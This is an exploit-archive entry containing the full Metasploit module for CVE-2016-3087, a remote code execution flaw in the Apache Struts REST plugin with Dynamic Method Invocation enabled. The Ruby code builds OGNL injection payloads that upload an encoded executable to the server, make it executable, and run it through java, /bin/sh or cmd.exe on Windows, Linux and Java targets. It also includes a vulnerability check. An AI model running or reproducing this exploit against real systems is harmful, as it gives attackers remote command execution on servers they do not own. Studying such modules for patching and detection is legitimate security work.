Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution

2016-06-09T00:00:00
ID PACKETSTORM:137375
Type packetstorm
Reporter Nixawk
Modified 2016-06-09T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in Apache Struts  
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code  
Execution can be performed when using REST Plugin with ! operator when  
Dynamic Method Invocation is enabled.  
},  
'Author' => [  
'Nixawk' # original metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2016-3087' ],  
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]  
],  
'Platform' => %w{ java linux win },  
'Privileged' => true,  
'Targets' =>  
[  
['Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
],  
['Linux Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
],  
[ 'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
},  
]  
],  
'DisclosureDate' => 'Jun 01 2016',  
'DefaultTarget' => 2))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),  
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])  
], self.class)  
end  
  
def print_status(msg='')  
super("#{peer} - #{msg}")  
end  
  
def get_target_platform  
target.platform.platforms.first  
end  
  
def temp_path  
@TMPPATH ||= lambda {  
path = datastore['TMPPATH']  
return nil unless path  
  
case get_target_platform  
when Msf::Module::Platform::Windows  
slash = '\\'  
when  
slash = '/'  
else  
end  
  
unless path.end_with?('/')  
path << '/'  
end  
return path  
}.call  
end  
  
def send_http_request(payload, params_hash)  
uri = normalize_uri(datastore['TARGETURI'])  
uri = "#{uri}/#{payload}"  
resp = send_request_cgi(  
'uri' => uri,  
'version' => '1.1',  
'method' => 'POST',  
'vars_post' => params_hash  
)  
if resp && resp.code == 404  
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')  
end  
resp  
end  
  
def generate_rce_payload(code)  
payload = ""  
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")  
payload << ","  
payload << Rex::Text.uri_encode(code)  
payload << ","  
payload << Rex::Text.uri_encode("#xx.toString.json")  
payload << "?"  
payload << Rex::Text.uri_encode("#xx:#request.toString")  
payload  
end  
  
def upload_exec(cmd, filename, content)  
var_a = rand_text_alpha_lower(4)  
var_b = rand_text_alpha_lower(4)  
var_c = rand_text_alpha_lower(4)  
var_d = rand_text_alpha_lower(4)  
var_e = rand_text_alpha_lower(4)  
var_f = rand_text_alpha_lower(4)  
  
code = "##{var_a}=new sun.misc.BASE64Decoder(),"  
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"  
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"  
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"  
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"  
payload = generate_rce_payload(code)  
  
params_hash = {  
var_d => Rex::Text.encode_base64(cmd),  
var_e => Rex::Text.encode_base64(filename),  
var_f => content  
}  
send_http_request(payload, params_hash)  
end  
  
def check  
var_a = rand_text_alpha_lower(4)  
var_b = rand_text_alpha_lower(4)  
  
addend_one = rand_text_numeric(rand(3) + 1).to_i  
addend_two = rand_text_numeric(rand(3) + 1).to_i  
sum = addend_one + addend_two  
flag = Rex::Text.rand_text_alpha(5)  
  
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"  
code << "##{var_a}.print(#parameters.#{var_b}[0]),"  
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"  
code << "##{var_a}.print(#parameters.#{var_b}[0]),"  
code << "##{var_a}.close()"  
  
payload = generate_rce_payload(code)  
params_hash = { var_b => flag }  
  
begin  
resp = send_http_request(payload, params_hash)  
rescue Msf::Exploit::Failed  
return Exploit::CheckCode::Unknown  
end  
  
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
payload_exe = rand_text_alphanumeric(4 + rand(4))  
case target['Platform']  
when 'java'  
payload_exe = "#{temp_path}#{payload_exe}.jar"  
pl_exe = payload.encoded_jar.pack  
command = "java -jar #{payload_exe}"  
when 'linux'  
path = datastore['TMPPATH'] || '/tmp/'  
pl_exe = generate_payload_exe  
payload_exe = "#{path}#{payload_exe}"  
command = "/bin/sh -c #{payload_exe}"  
when 'win'  
path = temp_path || '.\\'  
pl_exe = generate_payload_exe  
payload_exe = "#{path}#{payload_exe}.exe"  
command = "cmd.exe /c #{payload_exe}"  
else  
fail_with(Failure::NoTarget, 'Unsupported target platform!')  
end  
  
pl_content = pl_exe.unpack('H*').join()  
  
print_status("Uploading exploit to #{payload_exe}, and executing it.")  
upload_exec(command, payload_exe, pl_content)  
  
handler  
end  
  
end  
`